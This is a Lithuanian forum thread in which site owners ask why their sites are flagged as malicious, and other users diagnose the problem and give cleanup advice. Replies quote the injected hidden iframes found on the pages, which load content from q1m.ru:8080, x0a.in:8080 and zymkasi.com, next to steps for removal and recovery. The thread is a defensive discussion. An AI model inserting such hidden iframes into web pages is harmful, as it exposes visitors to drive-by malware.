Svetainės tapo kenkėjiškomis, kas čia daros?

Norėčiau pasiklausti jūsų pagalbos, nes nebesuprantu kas daros. Svetainės elnynas.lt kristalas.net srjc.lt yra uzblokuotos, nes tipo yra kenkejiskos ir t.t. Kas cia atsitiko nebesuprantu? kaip tai galima sutvarkyt?

http://www.uzdarbis.lt/Internete-siaucia-v...gle-t87597.html

google cia ne prie ko. virusas plinta kai tu eini i google ir kazko ieskai tada jis pakeicia rezultatus i uzkrestas svetaines

source matyt yra kenkejiskas javascriptas

http://www.ipix.lt/images/62675779.jpg

Tavo išvardytų puslapių viršuje yra toks daiktas: <iframe src="http://q1m.ru:8080/index.php" width=184 height=186 style="visibility: hidden"></iframe>

Čia iš tikrųjų jau gal 2 m. senumo naujienos..

Analizuojam:

http://elnynas.lt/news.php

<iframe src="http://q1m . ru:8080/index.php" width=184 height=186 style="visibility: hidden"></iframe>

kristalas.net - kaip ir tvarkoj.. :D Bet siūlyčiau patikrinti nuodugniau.. :D

http://srjc.lt/news.php

<iframe src="http://x0a . in:8080/index.php" width=180 height=125 style="visibility: hidden"></iframe>

Wach wach.. ką daryt..? :D

01. Pastatome gerą antivirusinę apsaugą (SP2/3 + KAV/KIS, etc.)

02. Išsivalom visą savo kompą nuo trojanų/virusų ir kt. herpesų..

03. Pakeičiame slaptažodžius prieigai prie svetainės per FTP ir t.t.

04. Neduodame prieigos prie FTP ir kitų kritinių svetainės resursų

05. Atstatome svetainę iš backupo (jei yra) ar valom rankutėmis..

kristalas.net: <iframe src="http://zymkasi.com/?click=7CC5A6" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>

O kaip isimt tas blogas eilutes?

Nusikopijuoti visus svetainės failus ir ieškoti juose <iframe> bei JavaScriptų

vos ne kiekviename *.php, *.html, *.tpl faile, priklausomai nuo TVS. Po to imti

ir pagaliau pasidaryti tiek failų, tiek DB backupus, ypač jei šlamšto rasta kode,

naudojamame banerių atvaizdavimui. Jei užkrėsta buvo dėl hosterio kaltės - tai

nedelsiant jį keičiame, jei kaltas pats - pasirūpiname gera antivirusine apsauga.

Neduodame prieigos per FTP ir prie kritinių svetainės modulių kitiems asmenims.

Lys ir pakeiciau tuos infektuotus failus senais, bet vistiek man ta pati rodo... ka daryt?

O uzsikresti neimano jeigu uzeisiu i toki saita ?

Dažniausiai užkrėsta svetainė nukreipia į kitas, kuriose jūsų

jau laukia trojanai, bet užsikrėst galima ir ten nenukeliavus.

1. Perskaitom, ką parašiau aukščiau.

2. Valom naršyklės Cache & Recycled.

3. Neveikia? - kartojame 1 - 5 punktus.

Koks antivirusas naudojamas dabar..?

Ar kodas išvalytas tikrai tvarkingai..?

Kad tik nebūtų hosterio kaltė.. :D

Krc as einu i viena foruma ir man ff meta, kad ta svetaine yra kenkejiska. Cia del sio viruso?

Atrodo vissu failus uisvaliau ir palkeiciau, kuriuos avira antivirusine pagavo, bet vistiek taip yra... nebesuprantu...

Aš ir pastebėjau, kad čia kažkas darosi. Bet į tą patį saitą nusiunčiuo nuorodą kolegai, jam įėjo ir viskas veikia...

Pass keisk ftp ir DA. :lol: Virusas kuris plinta per index failus. Galėčiau papasakoti apie jį daugiau jei kam aktualu tai būtų.

pARAŠYK I SKYPE PAKALBĖSIM :)

elnynas.lt atrodo sutvarkiau, o kaip jums atrodo?

O uzsikresti neimano jeigu uzeisiu i toki saita ?

Galima.

Krc as einu i viena foruma ir man ff meta, kad ta svetaine yra kenkejiska. Cia del sio viruso?

Taip.

Atrodo vissu failus uisvaliau ir palkeiciau, kuriuos avira antivirusine pagavo, bet vistiek taip yra... nebesuprantu...

Skaityk toliau.

Taigi, vieną dieną ir man paprašė draugas (Džiugas, nežinau.lt), kad reikia pagalbos valant virusus. Perdavė kontaktus kito žmogaus, nu žodžiu, susisiekėm.

Istorija tokia - įkeltas <script> scriptas, viskas maždaug elementaru, BET. Virusas yra server-wide tipo, todėl pats vartotojas ne visada gali išspręsti bėdas. Dirbau gana ilgokai, kol viską sutvarkiau. Jeigu virusai tikrai išvalyti (taip pat, nėra bjauru kreiptis pas hosterį), tada susirandam google webtoolsus, ir paprašom iš naujo patikrint (werifinus, kad esate pats svetainės šeimininkas).

Reikės pagalbos - AŽ. Už tam tikrą mokestėlį, galėsiu sutvarkyt, nes darbas tikrai bjaurus.